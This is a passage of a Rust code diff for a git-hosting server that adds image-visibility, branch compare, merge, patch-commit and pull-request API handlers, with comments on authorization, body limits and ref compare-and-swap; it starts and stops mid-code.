.filter_map(|l| l.get("size")?.as_u64()) + .fold(total, |acc, s| acc.saturating_add(s)); + } + } + total +} + +#[cfg(test)] +mod declared_size_tests { + use super::declared_size; + + /// Two near-u64::MAX layer sizes must saturate, not panic or wrap. + #[test] + fn declared_size_saturates_on_overflow() { + let manifest = serde_json::json!({ + "config": {"size": 10u64}, + "layers": [ + {"size": u64::MAX - 1}, + {"size": u64::MAX - 1}, + ], + }); + let bytes = serde_json::to_vec(&manifest).unwrap(); + assert_eq!(declared_size(&bytes), u64::MAX); + } +} + +/// `POST /api/{owner}/{name}/imagevisibility?visibility=public|private` +/// +/// The image counterpart of the repo `visibility` route, and it has to exist: `admin +/// set-image-visibility` posts here whenever a fleet is configured, so without it an image's +/// visibility could not be changed on a running cluster at all. +/// +/// Routed by the IMAGE key (`img/{owner}/{name}`, see `repo_of`), so this runs on the node that +/// owns the image's database — the only node that may write it. Authorization is the caller being +/// the owner, exactly as `imagedelete` beside it: there is no public-stranger concept for the +/// image write paths. +/// +/// The flip itself — keyed lock, remove-permissive-first, marker swap — lives in +/// `set_image_visibility`; this handler only parses and authorizes. +pub(super) async fn imagevisibility( + State(app): State>, + axum::Extension(trusted): axum::Extension, + headers: HeaderMap, + Path((owner, name)): Path<(String, String)>, + Query(q): Query>, +) -> Response { + let public = match q.get("visibility").map(String::as_str) { + Some("public") => true, + Some("private") => false, + _ => return (StatusCode::BAD_REQUEST, "visibility must be public or private").into_response(), + }; + match crate::registry::auth::caller(&app, &trusted, &headers).await { + Ok(Some(who)) if who == owner => {} + Ok(_) => return hidden(), + Err(r) => return r, + } + if !app.store.image_exists(&owner, &name).await.unwrap_or(false) { + return hidden(); + } + match app.store.set_image_visibility(&owner, &name, public).await { + Ok(()) => StatusCode::NO_CONTENT.into_response(), + Err(e) => { + tracing::error!(owner = %owner, image = %name, error = %e, "set-image-visibility"); + internal(e) + } + } +} diff --git a/bins/server/src/browse_api/merge.rs b/bins/server/src/browse_api/merge.rs new file mode 100644 index 00000000..221102b6 --- /dev/null +++ b/bins/server/src/browse_api/merge.rs @@ -0,0 +1,400 @@ +//! Branch comparison, fast-forward/squash merges, and the single-commit patch API. +use super::{hidden, odb_json, open_ro}; +use crate::router::internal; +use rustic_git_core::httpx::Trusted; +use crate::App; +use axum::{ + extract::{Path, Query, State}, + http::{HeaderMap, StatusCode}, + response::{IntoResponse, Response}, + Json, +}; +use serde::{Deserialize, Serialize}; +use std::collections::HashMap; +use std::sync::Arc; + +/// What a merge answers with: the commit the base now points at. +#[derive(Serialize)] +pub(super) struct Merged { + merged: String, +} + +/// What a branch would bring to another, and whether it can be applied without a +/// merge commit. Both refs are SHORT branch names — a review is about branches, +/// and resolving them here means the answer follows a push rather than pinning to +/// whatever oid a client last saw. +pub(super) async fn api_compare( + State(app): State>, + axum::Extension(trusted): axum::Extension, + headers: HeaderMap, + Path((owner, name)): Path<(String, String)>, + Query(q): Query>, +) -> Response { + let repo = match open_ro(&app, &trusted, &headers, &owner, &name).await { + Ok(r) => r, + Err(r) => return r, + }; + let (Some(base), Some(head)) = (q.get("base"), q.get("head")) else { + return (StatusCode::BAD_REQUEST, "base and head are required").into_response(); + }; + let (base_ref, head_ref) = (format!("refs/heads/{base}"), format!("refs/heads/{head}")); + let (base_oid, head_oid) = match tokio::join!( + app.store.get_ref(&repo, &base_ref), + app.store.get_ref(&repo, &head_ref), + ) { + (Ok(Some(b)), Ok(Some(h))) => (b, h), + (Err(e), _) | (_, Err(e)) => return internal(e), + // A branch that is not there is the caller's mistake to see, not a 500. + _ => return (StatusCode::NOT_FOUND, "no such branch").into_response(), + }; + let n = q.get("n").and_then(|v| v.parse::().ok()).unwrap_or(250).clamp(1, 1000); + odb_json(repo, move |odb| crate::browse::compare(odb, base_oid, head_oid, n)).await +} + +/// Apply a change by moving `base` to `head`. +/// +/// Fast-forward only. A true merge means writing a new commit, and a new commit +/// means a three-way merge of two trees — real work that can conflict, which this +/// server cannot yet do. Moving a ref cannot conflict and cannot lose anything, so +/// it is the honest subset to ship first. Anything else is refused with the reason, +/// and the branch owner rebases. +/// +/// It goes through `update_refs`, so BRANCH PROTECTION applies to a merge exactly +/// as it applies to a push — a protected base is not a back door. +pub(super) async fn api_merge( + State(app): State>, + Path((owner, name)): Path<(String, String)>, + Query(q): Query>, +) -> Response { + let (Some(base), Some(head)) = (q.get("base"), q.get("head")) else { + return (StatusCode::BAD_REQUEST, "base and head are required").into_response(); + }; + let strategy = q.get("strategy").map(String::as_str).unwrap_or("fast-forward"); + match perform(&app, &owner, &name, base, head, strategy, q.get("message").cloned()).await { + Ok(oid) => Json(Merged { merged: oid }).into_response(), + Err((code, why)) => (code, why).into_response(), + } +} + +/// The merge itself, without HTTP. +/// +/// Two callers, and both are on the node that owns the repo: `api_merge` above, and the owner's +/// own merge lane (`App::announce_stranded_merges`), which claims a queued job from the repo's database +/// and lands it by calling straight in here. The lane deliberately does NOT go back out through +/// the router to reach code in the same process. +/// +/// The refusal is a status and a sentence, because both callers pass it on to a person: the +/// HTTP one as a response, the lane by writing it onto the job as `detail`. +pub(crate) async fn perform( + app: &App, + owner: &str, + name: &str, + base: &str, + head: &str, + strategy: &str, + message: Option, +) -> std::result::Result { + let bad = |c: StatusCode, m: &str| (c, m.to_string()); + let Some((owner, name)) = crate::protocol::parse_repo_pair(owner, name) else { + return Err(bad(StatusCode::BAD_REQUEST, "invalid repository path")); + }; + // Defined after the parse so it can name the repo. The backend's own words go to the log + // only: a `boom` forwarded verbatim surfaced SlateDB text in the PR UI. + let boom = |e: crate::Error| { + tracing::error!(owner = %owner, repo = %name, error = %e, "merge"); + (StatusCode::INTERNAL_SERVER_ERROR, "internal error".to_string()) + }; + let repo = match app.store.open_repo(&owner, &name).await { + Ok(Some(r)) => r, + Ok(None) => return Err(bad(StatusCode::NOT_FOUND, "not found")), + Err(e) => return Err(boom(e)), + }; + let (base_ref, head_ref) = (format!("refs/heads/{base}"), format!("refs/heads/{head}")); + let (base_oid, head_oid) = match tokio::join!( + app.store.get_ref(&repo, &base_ref), + app.store.get_ref(&repo, &head_ref), + ) { + (Ok(Some(b)), Ok(Some(h))) => (b, h), + (Err(e), _) | (_, Err(e)) => return Err(boom(e)), + _ => return Err(bad(StatusCode::NOT_FOUND, "no such branch")), + }; + + // Everything that touches the odb — the ancestry walk and the head commit's fields — runs + // on a blocking thread: `merge_base` is a 50k-commit walk, and doing it on the runtime + // starves every other request on that worker. `odb_json` makes the same move for reads. + struct HeadInfo { + tree: gix_hash::ObjectId, + who: String, + mail: String, + time: i64, + } + let need_head = matches!(strategy, "squash" | "merge"); + let r = repo.clone(); + let walked = tokio::task::spawn_blocking(move || -> crate::Result<(bool, Option)> { + let odb = r.odb()?; + // Re-checked HERE rather than trusted from whatever the caller last read: the branch may + // have moved since the page was rendered. + if crate::browse::merge_base(&odb, base_oid, head_oid, 50_000) != crate::browse::MergeBase::Found(base_oid) { + return Ok((true, None)); + } + if !need_head { + return Ok((false, None)); + } + let mut buf = Vec::new(); + let c = gix_object::FindExt::find_commit(&odb, &head_oid, &mut buf) + .map_err(|e| crate::err(e.to_string()))?; + let author = c.author().ok(); + let (who, mail) = match &author { + Some(a) => (a.name.to_string(), a.email.to_string()), + None => ("kloudlite".to_string(), "noreply@kloudlite.io".to_string()), + }; + // The commit time comes from the head commit, not the clock, so merging the same branch + // twice produces the same id — which is what makes a retried merge idempotent. + let time = author.as_ref().and_then(|a| a.time().ok()).map(|t| t.seconds).unwrap_or(0); + Ok((false, Some(HeadInfo { tree: c.tree(), who, mail, time }))) + }) + .await; + // `head_info`, not `head`: `head` is the branch name and is still needed for the message. + let (behind, head_info) = match walked { + Ok(Ok(v)) => v, + Ok(Err(e)) => return Err(boom(e)), + Err(e) => return Err(boom(crate::err(format!("merge task: {e}")))), + }; + if behind { + return Err(bad(StatusCode::CONFLICT, "this branch is behind its base — rebase it and push again")); + } + + // Which shape to land it in. All three are safe HERE and only here: the base is an ancestor + // of the head, so the content being landed is exactly the head's tree and no three-way merge + // is possible or needed. On a diverged branch these would each need a real merge, which is + // why that case is refused above rather than guessed at. + let new_tip = match strategy { + // The ref simply moves; no new object. + "fast-forward" | "rebase" => head_oid, + "squash" | "merge" => { + let Some(HeadInfo { tree, who, mail, time }) = head_info else { + return Err(boom(crate::err("head commit not read"))); + }; + let parents = if strategy == "squash" { vec![base_oid] } else { vec![base_oid, head_oid] }; + let message = message.unwrap_or_else(|| format!("Merge {head} into {base}\n")); + match crate::objects::write_commit( + &app.store, + &repo, + crate::objects::NewCommit { tree, parents, message, author_name: who, author_email: mail, time }, + ) + .await + { + Ok(oid) => oid, + Err(e) => return Err(boom(e)), + } + } + _ => { + return Err(bad(StatusCode::BAD_REQUEST, "strategy must be fast-forward, squash, merge or rebase")) + } + }; + + let update = vec![crate::refs::RefUpdate { + name: base_ref, + old: Some(base_oid), + new: Some(new_tip), + }]; + match crate::refs::update_refs(&app.store, &repo, &update).await { + Ok(r) => match r.into_iter().next().flatten() { + None => Ok(new_tip.to_hex().to_string()), + // A protection rule refused it. Its own words, for the person waiting. + Some(reason) => Err((StatusCode::CONFLICT, reason)), + }, + Err(e) => Err(boom(e)), + } +} + +/// One file's worth of a patch, as the api tier sends it. +#[derive(Deserialize)] +#[serde(rename_all = "camelCase")] +pub(super) struct FileChange { + path: String, + /// Base64: a file is arbitrary bytes and JSON carries text, so the bytes + /// cannot go over as a string. Absent when `delete` is set. + content_base64: Option, + /// `None` keeps the mode the file already has. + executable: Option, + #[serde(default)] + delete: bool, +} + +/// A patch: one commit, any number of files. +#[derive(Deserialize)] +#[serde(rename_all = "camelCase")] +pub(super) struct Patch { + /// The branch the editor was reading. + branch: String, + /// The tip it was reading, if the caller knows it. The commit is refused if + /// the branch has moved since — someone pushed while the editor was open, + /// and landing on top of a tip we never saw would silently drop their work. + expect: Option, + message: String, + author_name: String, + author_email: String, + /// Commit onto a NEW branch of this name instead of moving `branch`. This is + /// what "start a pull request from this edit" is: the base branch does not + /// move at all, so it can be protected and the edit still lands. + new_branch: Option, + changes: Vec, +} + +#[derive(Serialize)] +pub(super) struct Committed { + commit: String, + branch: String, +} + +/// Apply a patch as one commit. +/// +/// The whole patch lands or none of it does: the blobs and trees are staged and +/// written together, and the ref moves only once the commit is stored. And the +/// ref moves by compare-and-swap, so a push that arrives mid-edit loses the race +/// rather than being overwritten. +pub(super) async fn api_patch( + State(app): State>, + Path((owner, name)): Path<(String, String)>, + Json(patch): Json, +) -> Response { + let Some((owner, name)) = crate::protocol::parse_repo_pair(&owner, &name) else { + return (StatusCode::BAD_REQUEST, "invalid repository path").into_response(); + }; + let repo = match app.store.open_repo(&owner, &name).await { + Ok(Some(r)) => r, + Ok(None) => return hidden(), + Err(e) => return internal(e), + }; + if patch.changes.is_empty() { + return (StatusCode::BAD_REQUEST, "a commit needs at least one change").into_response(); + } + if patch.message.trim().is_empty() { + return (StatusCode::BAD_REQUEST, "a commit needs a message").into_response(); + } + + let branch_ref = format!("refs/heads/{}", patch.branch); + let tip = match app.store.get_ref(&repo, &branch_ref).await { + Ok(t) => t, + Err(e) => return internal(e), + }; + // Read HERE rather than trusted from whatever the editor last saw. + if let Some(expected) = &patch.expect { + if tip.map(|t| t.to_hex().to_string()).as_deref() != Some(expected.as_str()) { + return ( + StatusCode::CONFLICT, + "this branch has moved since you started editing", + ) + .into_response(); + } + } + let Some(tip) = tip else { + return (StatusCode::NOT_FOUND, "no such branch").into_response(); + }; + + let mut changes = std::collections::BTreeMap::new(); + for c in patch.changes { + let change = if c.delete { + crate::objects::Change::Delete + } else { + use base64::Engine; + let Some(b64) = c.content_base64.as_deref() else { + return (StatusCode::BAD_REQUEST, format!("{}: no content", c.path)).into_response(); + }; + match base64::engine::general_purpose::STANDARD.decode(b64) { + Ok(content) => crate::objects::Change::Upsert { content, executable: c.executable }, + Err(_) => { + return (StatusCode::BAD_REQUEST, format!("{}: content is not base64", c.path)) + .into_response() + } + } + }; + // Two changes to one path have no defined order, so the patch is refused + // rather than one of them silently winning. + if changes.insert(c.path.clone(), change).is_some() { + return (StatusCode::BAD_REQUEST, format!("{} appears twice", c.path)).into_response(); + } + } + + // The base tree, the staged blobs/trees and the "did anything change" answer all need the + // odb; one blocking task does the three together. `apply_changes`' refusals are the + // caller's to see (a path that is a directory, a missing parent), so they come back as a + // message for a 400 rather than as a fault. + let r = repo.clone(); + // The staged result, or the caller's own words for a 400. + type Applied = std::result::Result<(gix_hash::ObjectId, crate::objects::Staging), String>; + let staged = tokio::task::spawn_blocking(move || -> crate::Result<(gix_hash::ObjectId, Applied)> { + let odb = r.odb()?; + let mut buf = Vec::new(); + let base_tree = gix_object::FindExt::find_commit(&odb, &tip, &mut buf) + .map_err(|e| crate::err(e.to_string()))? + .tree(); + let mut staging = crate::objects::Staging::default(); + let applied = crate::objects::apply_changes(&odb, Some(base_tree), changes, &mut staging) + .map(|t| (t, staging)) + .map_err(|e| e.to_string()); + Ok((base_tree, applied)) + }) + .await; + let (base_tree, tree, staging) = match staged { + Ok(Ok((base_tree, Ok((tree, staging))))) => (base_tree, tree, staging), + Ok(Ok((_, Err(why)))) => return (StatusCode::BAD_REQUEST, why).into_response(), + Ok(Err(e)) => return internal(e), + Err(e) => return internal(crate::err(format!("patch task: {e}"))), + }; + // Nothing actually changed: the same bytes were sent back. A commit here would be an empty + // one, which is noise in the history rather than a record. + if tree == base_tree { + return (StatusCode::BAD_REQUEST, "this changes nothing").into_response(); + } + + // Blobs and trees FIRST: a commit is validated against what is stored, so it + // cannot be written before the tree it points at. + if let Err(e) = staging.write(&app.store, &repo).await { + return internal(e); + } + let time = std::time::SystemTime::now() + .duration_since(std::time::UNIX_EPOCH) + .map(|d| d.as_secs() as i64) + .unwrap_or(0); + let commit = match crate::objects::write_commit( + &app.store, + &repo, + crate::objects::NewCommit { + tree, + parents: vec![tip], + message: patch.message, + author_name: patch.author_name, + author_email: patch.author_email, + time, + }, + ) + .await + { + Ok(c) => c, + Err(e) => return internal(e), + }; + + // Onto a new branch, the update is a CREATE (`old: None`), so it cannot + // overwrite a branch of that name that already exists. + let (target, old) = match &patch.new_branch { + Some(b) => (format!("refs/heads/{b}"), None), + None => (branch_ref, Some(tip)), + }; + let landed_on = patch.new_branch.clone().unwrap_or(patch.branch); + match crate::refs::update_refs( + &app.store, + &repo, + &[crate::refs::RefUpdate { name: target, old, new: Some(commit) }], + ) + .await + { + Ok(r) => match r.into_iter().next().flatten() { + None => Json(Committed { commit: commit.to_hex().to_string(), branch: landed_on }) + .into_response(), + Some(reason) => (StatusCode::CONFLICT, reason).into_response(), + }, + Err(e) => internal(e), + } +} diff --git a/bins/server/src/browse_api/mod.rs b/bins/server/src/browse_api/mod.rs new file mode 100644 index 00000000..2976c8cb --- /dev/null +++ b/bins/server/src/browse_api/mod.rs @@ -0,0 +1,217 @@ +//! Read-only JSON views of a repo, on the peer listener only. +//! +//! Every handler makes the same three moves: `open` the repo read-only, parse the oid, then run +//! the (blocking) `browse` call on a blocking thread. The odb handle is opened inside that closure +//! rather than moved into it — `gix_odb::Handle` is not `Sync`. +//! +//! Split by concern: `images` (container-image routes), `repo` (refs/tree/blob/log/commit/ +//! signature reads), `admin` (visibility/create/delete/protect — all owning-node writes), `merge` +//! (compare/merge/patch), `pulls` (pull requests, in the repo's own database). Shared plumbing (`hidden`, `open_ro`, `odb_json`, `parse_oid`, `internal`, +//! `BLOB_CAP`) stays here because every submodule calls at least one of them. +mod admin; +mod images; +pub(crate) mod merge; +mod pulls; +mod repo; +mod volumes; + +use crate::router::{internal, open}; +use rustic_git_core::httpx::Trusted; +use crate::store::Repo; +use crate::App; +use axum::{ + http::{HeaderMap, StatusCode}, + response::{IntoResponse, Response}, + routing::{get, post}, + Json, Router, +}; +use gix_hash::ObjectId; +use serde::Serialize; +use std::sync::Arc; + +/// Largest blob returned inline; anything past this comes back `truncated`. +const BLOB_CAP: usize = 1024 * 1024; + +/// Largest body a pull-request title/description or comment may arrive in. Generous for prose and +/// far below anything a forwarding node should stream on a caller's behalf; the handlers truncate +/// the fields themselves (200 chars of title, 10k of comment), so this is the outer wall. +const PULL_TEXT_CAP: usize = 64 * 1024; + +/// The one answer a stranger may see. A private repo and a missing repo must be indistinguishable, +/// so 403/404/unknown-oid/unknown-path/bad-oid all land here. +/// Named apart from `api::not_found`, which builds the api tier's forwarded 404 with its own +/// headers: two same-named functions across a trust boundary is a trap for whoever edits one. +pub(super) fn hidden() -> Response { + (StatusCode::NOT_FOUND, "not found").into_response() +} + +/// `open`, with existence collapsed away. 401 passes through so a client knows to present a +/// token; every other refusal becomes a flat 404. +pub(super) async fn open_ro( + app: &App, + trusted: &Trusted, + headers: &HeaderMap, + owner: &str, + name: &str, +) -> Result { + match open(app, trusted, headers, owner, name, true).await { + Ok(r) => Ok(r), + Err(r) if r.status() == StatusCode::UNAUTHORIZED => Err(r), + // A 500 stays a 500: hiding a bug behind 404 is not the leak we are defending against. + Err(r) if r.status() == StatusCode::INTERNAL_SERVER_ERROR => Err(r), + Err(r) if r.status() == StatusCode::SERVICE_UNAVAILABLE => Err(r), + Err(_) => Err(hidden()), + } +} + +/// Run a blocking `browse` call against the repo's odb. A lookup failure (unknown oid, unknown +/// path, wrong object kind) collapses to 404; a real read failure — a corrupt or unreadable pack — +/// is a 500, because a bug that hides behind a 404 is a bug nobody finds. +pub(super) async fn odb_json( + repo: Repo, + f: impl FnOnce(&gix_odb::Handle) -> crate::Result + Send + 'static, +) -> Response { + let done = tokio::task::spawn_blocking(move || repo.odb().map(|odb| f(&odb))).await; + match done { + Ok(Ok(Ok(v))) => Json(v).into_response(), + // The browse call itself failed: the object or path is not there, as far as a client is + // allowed to know. + Ok(Ok(Err(e))) => { + tracing::debug!(error = %e, "browse"); + if crate::browse::is_not_found(&e) { + hidden() + } else { + internal(e) + } + } + Ok(Err(e)) => internal(e), + Err(e) => internal(crate::err(format!("browse task: {e}"))), + } +} + +pub(super) fn parse_oid(s: &str) -> Result { + s.parse::().map_err(|_| hidden()) +} + +use admin::{api_create, api_delete, api_description, api_protect, api_protections, api_visibility}; +use images::{imagedelete, images, imagetagdelete, imagetags, imagevisibility}; +use merge::{api_compare, api_merge, api_patch}; +use pulls::{ + api_pull, api_pull_check, api_pull_claim, api_pull_close, api_pull_comment, api_pull_merge, + api_pull_mergeability, api_pull_open, api_pull_outcome, api_pulls, +}; +use volumes::{snapshotdelete, volumedelete, volumehistory, volumes}; +use repo::{api_blob, api_commit, api_files, api_lastmod, api_log, api_refs, api_signature, api_tree, api_tree_root}; + +/// Every route here is peer-only. All but `images` and `volumes` are repo-scoped; those two are +/// owner-scoped — see their own doc comments and `api_route` in `http.rs`. +/// +/// A new one must also be added to `BROWSE_TAILS` in `http.rs`: the routing +/// middleware refuses an `/api/` path it does not recognise BEFORE the router +/// runs, so a route registered only here answers 404 and nothing explains why. +pub fn browse_routes() -> Router> { + Router::new() + .route("/api/{owner}/images", get(images)) + .route("/api/{owner}/volumes", get(volumes)) + .route("/api/{owner}/{name}/volumehistory", get(volumehistory)) + .route("/api/{owner}/{name}/volumedelete", axum::routing::delete(volumedelete)) + .route( + "/api/{owner}/{name}/snapshotdelete/{snapshot}", + axum::routing::delete(snapshotdelete), + ) + .route("/api/{owner}/{name}/imagetags", get(imagetags)) + .route("/api/{owner}/{name}/imagetagdelete", post(imagetagdelete)) + .route("/api/{owner}/{name}/imagedelete", post(imagedelete)) + .route("/api/{owner}/{name}/imagevisibility", post(imagevisibility)) + .route("/api/{owner}/{name}/refs", get(api_refs)) + .route("/api/{owner}/{name}/tree/{oid}", get(api_tree_root)) + .route("/api/{owner}/{name}/tree/{oid}/{*path}", get(api_tree)) + .route("/api/{owner}/{name}/blob/{oid}/{*path}", get(api_blob)) + .route("/api/{owner}/{name}/log/{oid}", get(api_log)) + .route("/api/{owner}/{name}/commit/{oid}", get(api_commit)) + .route("/api/{owner}/{name}/files/{oid}", get(api_files)) + .route("/api/{owner}/{name}/lastmod/{oid}", get(api_lastmod)) + .route("/api/{owner}/{name}/compare", get(api_compare)) + .route("/api/{owner}/{name}/signature/{oid}", get(api_signature)) + .route( + "/api/{owner}/{name}/merge", + post(api_merge).layer(axum::extract::DefaultBodyLimit::max(0)), + ) + // POST only, explicitly: the reads above are `get`, and a `visibility` route that also + // answered GET would make a flip reachable by a plain browser fetch. + .route( + "/api/{owner}/{name}/visibility", + // The handler never reads a body, but without a limit the route accepts an arbitrary + // one — which a forwarding node streams to the owner before it is discarded. + post(api_visibility).layer(axum::extract::DefaultBodyLimit::max(0)), + ) + .route( + "/api/{owner}/{name}/description", + post(api_description).layer(axum::extract::DefaultBodyLimit::max(0)), + ) + .route( + "/api/{owner}/{name}/create", + post(api_create).layer(axum::extract::DefaultBodyLimit::max(0)), + ) + // A patch carries file contents, so this is the one write route with a real + // body: 25 MiB, which is a generous edit and far below what a push is for. + .route( + "/api/{owner}/{name}/patch", + post(api_patch).layer(axum::extract::DefaultBodyLimit::max(25 * 1024 * 1024)), + ) + .route( + "/api/{owner}/{name}/delete", + post(api_delete).layer(axum::extract::DefaultBodyLimit::max(0)), + ) + // Pull requests, in the repo's own database. The two routes carrying real user text take + // a JSON body — the same shape the api tier already parses, so forwarding is a + // pass-through — capped at 64 KiB: a title and a description, never a file. Everything + // else here is a state change described by a handful of short query parameters, so it + // takes no body at all, exactly like `visibility` and `merge` above. + .route( + "/api/{owner}/{name}/pulls", + get(api_pulls) + .post(api_pull_open) + .layer(axum::extract::DefaultBodyLimit::max(PULL_TEXT_CAP)), + ) + .route("/api/{owner}/{name}/pulls/{number}", get(api_pull)) + .route( + "/api/{owner}/{name}/pulls/{number}/comments", + post(api_pull_comment).layer(axum::extract::DefaultBodyLimit::max(PULL_TEXT_CAP)), + ) + .route( + "/api/{owner}/{name}/pulls/{number}/merge", + post(api_pull_merge).layer(axum::extract::DefaultBodyLimit::max(0)), + ) + .route( + "/api/{owner}/{name}/pulls/{number}/close", + post(api_pull_close).layer(axum::extract::DefaultBodyLimit::max(0)), + ) + .route( + "/api/{owner}/{name}/pulls/{number}/check", + post(api_pull_check).layer(axum::extract::DefaultBodyLimit::max(0)), + ) + // The worker's three. `claim` hands out work and takes no body; the other two carry the + // worker's small JSON report, so they get a body limit of their own — generous for a + // sentence of git's stderr and nothing like a file. + .route( + "/api/{owner}/{name}/pulls/{number}/claim", + post(api_pull_claim).layer(axum::extract::DefaultBodyLimit::max(0)), + ) + .route( + "/api/{owner}/{name}/pulls/{number}/outcome", + post(api_pull_outcome).layer(axum::extract::DefaultBodyLimit::max(8 * 1024)), + ) + .route( + "/api/{owner}/{name}/pulls/{number}/mergeability", + post(api_pull_mergeability).layer(axum::extract::DefaultBodyLimit::max(8 * 1024)), + ) + .route( + "/api/{owner}/{name}/protect", + get(api_protections).post(api_protect).layer(axum::extract::DefaultBodyLimit::max(0)), + ) + // Browse answers are JSON — trees, logs, whole diffs, base64 blobs — and + // 5-10x smaller gzipped. This router alone: packs and registry blobs are + // already compressed, and their routers never merge this one. + .layer(tower_http::compression::CompressionLayer::new()) +} diff --git a/bins/server/src/browse_api/pulls.rs b/bins/server/src/browse_api/pulls.rs new file mode 100644 index 00000000..350d4257 --- /dev/null +++ b/bins/server/src/browse_api/pulls.rs @@ -0,0 +1,611 @@ +//! Pull requests, served by the node that owns the repo. +//! +//! A change belongs to its repo, so it lives in that repo's own database — which means exactly +//! one node may read or write it, and that node is this one. Everything here goes through +//! `crate::pulls` against `db_for(owner, name)`; nothing reaches a central directory. +//! +//! Two authorization shapes, deliberately, and they are the ones already in use beside this file: +//! +//! - **Reads** (`list`, `get`) use `open_ro`, exactly as `repo.rs` does. The peer secret alone is +//! not enough for a read: the api tier forwards on behalf of a person and names them in +//! `OWNER_HEADER`, so a private repo's changes must be as invisible here as its refs are. +//! - **Writes** mirror `admin.rs`'s `api_visibility`/`api_description`: the peer secret alone. +//! Whether the human may open, comment on, merge or close is the api tier's question — only it +//! knows about users and teams — and it answers it (`settings_caller`/`may_act_under`) before +//! forwarding. This router is unreachable from the public listener. +//! +//! Every handler calls `ensure_migrated` FIRST, before it reads or writes anything: a repo whose +//! changes predate this move must show them on its first touch, not silently appear empty. +//! +//! Every write publishes its event AFTER the database write, never before and never with `?` — +//! `events::publish` is fire-and-forget, and a Redis outage must cost a consumer one fallback +//! poll, never a user's operation. +use crate::router::internal; +use rustic_git_core::httpx::Trusted; +use super::{hidden, open_ro}; +use crate::pulls::{self, Comment, MergeJob, PullRequest, PullState}; +use crate::App; +use axum::{ + extract::{Path, Query, State}, + http::{HeaderMap, StatusCode}, + response::{IntoResponse, Response}, + Json, +}; +use std::collections::HashMap; +use std::sync::Arc; + +fn now_ms() -> i64 { + crate::ownership::now_ms() as i64 +} + +/// The repo's own database, migrated. `Err` is the response to return as-is. +/// +/// The directory state is whatever this node was started with. Configured-but-unreachable fails +/// here rather than migrating an empty repo — see `pulls::Source`. +async fn ready(app: &App, owner: &str, name: &str) -> Result, Response> { + if let Err(e) = pulls::ensure_migrated(&app.store, &app.dir, owner, name).await { + tracing::error!(owner = %owner, repo = %name, error = %e, "migrate pulls"); + return Err(internal(e)); + } + app.store.db_for(owner, name).await.map_err(internal) +} + +/// A write route's repo, validated and confirmed to exist. +/// +/// Asked of the object store, not the pool, for the same reason `api_description` asks: `db_for` +/// CREATES a database for whatever name it is handed, so an unguarded write would conjure one per +/// mistyped path. +async fn writable(app: &App, owner: &str, name: &str) -> Result<(String, String), Response> { + let Some((owner, name)) = crate::protocol::parse_repo_path(&format!("{owner}/{name}")) else { + return Err((StatusCode::BAD_REQUEST, "invalid repository path").into_response()); + }; + if !app.store.repo_exists(&owner, &name).await.unwrap_or(false) { + return Err(hidden()); + } + Ok((owner, name)) +} + +async fn emit(app: &App, kind: crate::events::Kind, pr: &PullRequest, actor: &str) { + crate::events::publish( + &app.store.cache, + &crate::events::Event { + kind, + repo: pr.repo.clone(), + number: pr.number, + actor: actor.to_string(), + at_ms: now_ms(), + title: pr.title.clone(), + base: pr.base.clone(), + head: pr.head.clone(), + }, + ) + .await; +} + +/// Every change in the repo, newest first — the shape the page already renders, and the order +/// Mongo's `sort({createdAt: -1})` gave it. `pulls::list` is oldest-number-first because the +/// padded key sorts that way, so the reversal happens here rather than in the store. +pub(super) async fn api_pulls( + State(app): State>, + axum::Extension(trusted): axum::Extension, + headers: HeaderMap, + Path((owner, name)): Path<(String, String)>, + Query(q): Query>, +) -> Response { + // The PARSED repo, not the raw path: `open_ro` strips `.git`, and `ready` opens whatever name + // it is handed — the raw one would conjure `repo/alice/web.git`, a database under a key no + // routing ever names. + let repo = match open_ro(&app, &trusted, &headers, &owner, &name).await { + Ok(r) => r, + Err(r) => return r, + }; + let db = match ready(&app, &repo.owner, &repo.name).await { + Ok(d) => d, + Err(r) => return r, + }; + match pulls::list(&db).await { + Ok(mut v) => { + v.reverse(); + // The page renders a count, so the list carries a count: a 25-PR page + // was shipping every comment body ever written just to say "3 comments". + // Filtering happens on the serialized value so the state names here are + // exactly the ones the wire already speaks. + let mut out: Vec = v + .into_iter() + .map(|p| { + let n = p.comments.len(); + let mut j = serde_json::to_value(&p).unwrap_or_default(); + if let Some(o) = j.as_object_mut() { + o.remove("comments"); + o.insert("commentCount".into(), n.into()); + } + j + }) + .collect(); + // Case-exact by design: this is a filter over the wire value, not a validator, so + // an unrecognized or mis-cased query param just matches nothing rather than erroring. + if let Some(want) = q.get("state") { + out.retain(|j| j["state"] == serde_json::Value::String(want.clone())); + } + if let Some(n) = q.get("limit").and_then(|s| s.parse::().ok()) { + out.truncate(n); + } + Json(out).into_response() + } + Err(e) => internal(e), + } +} + +pub(super) async fn api_pull( + State(app): State>, + axum::Extension(trusted): axum::Extension, + headers: HeaderMap, + Path((owner, name, number)): Path<(String, String, i64)>, +) -> Response { + // Parsed, not raw: see `api_pulls`. + let repo = match open_ro(&app, &trusted, &headers, &owner, &name).await { + Ok(r) => r, + Err(r) => return r, + }; + let db = match ready(&app, &repo.owner, &repo.name).await { + Ok(d) => d, + Err(r) => return r, + }; + match pulls::get(&db, number).await { + Ok(Some(pr)) => Json(pr).into_response(), + Ok(None) => (StatusCode::NOT_FOUND, "no such change").into_response(), + Err(e) => internal(e), + } +} + +/// The one write shape the api tier already speaks — same field names as its own `NewPull`, so +/// forwarding is a pass-through of the body it was handed. +#[derive(serde::Deserialize)] +pub(super) struct NewPull { + title: String, + #[serde(default)] + body: String, + base: String, + head: String, + /// Who is opening it. The node has no idea who the caller is — the api tier does, and says so. + #[serde(default)] + author: String, +} + +pub(super) async fn api_pull_open( + State(app): State>, + Path((owner, name)): Path<(String, String)>, + Json(new): Json, +) -> Response { + let (owner, name) = match writable(&app, &owner, &name).await { + Ok(v) => v, + Err(r) => return r, + }; + let title: String = new.title.trim().chars().take(200).collect(); + if title.is_empty() { + return (StatusCode::BAD_REQUEST, "a title is required").into_response(); + } + let (base, head) = (new.base.trim(), new.head.trim()); + if base == head { + return (StatusCode::BAD_REQUEST, "a change has to come from a different branch") + .into_response(); + } + let db = match ready(&app, &owner, &name).await { + Ok(d) => d, + Err(r) => return r, + }; + // Migration first, then the number: `ensure_migrated` raises `meta/next_pull` past every + // number Mongo already handed out, so a migrated repo cannot reissue one. + let number = match pulls::next_number(&app.store, &owner, &name).await { + Ok(n) => n, + Err(e) => return internal(e), + }; + let repo = format!("{owner}/{name}"); + let pr = PullRequest { + id: format!("{repo}#{number}"), + repo, + number, + title, + body: new.body.trim().to_string(), + base: base.to_string(), + head: head.to_string(), + state: PullState::Open, + author: new.author.clone(), + created_at_ms: now_ms(), + merged_at_ms: None, + comments: Vec::new(), + merge: None, + mergeability: None, + 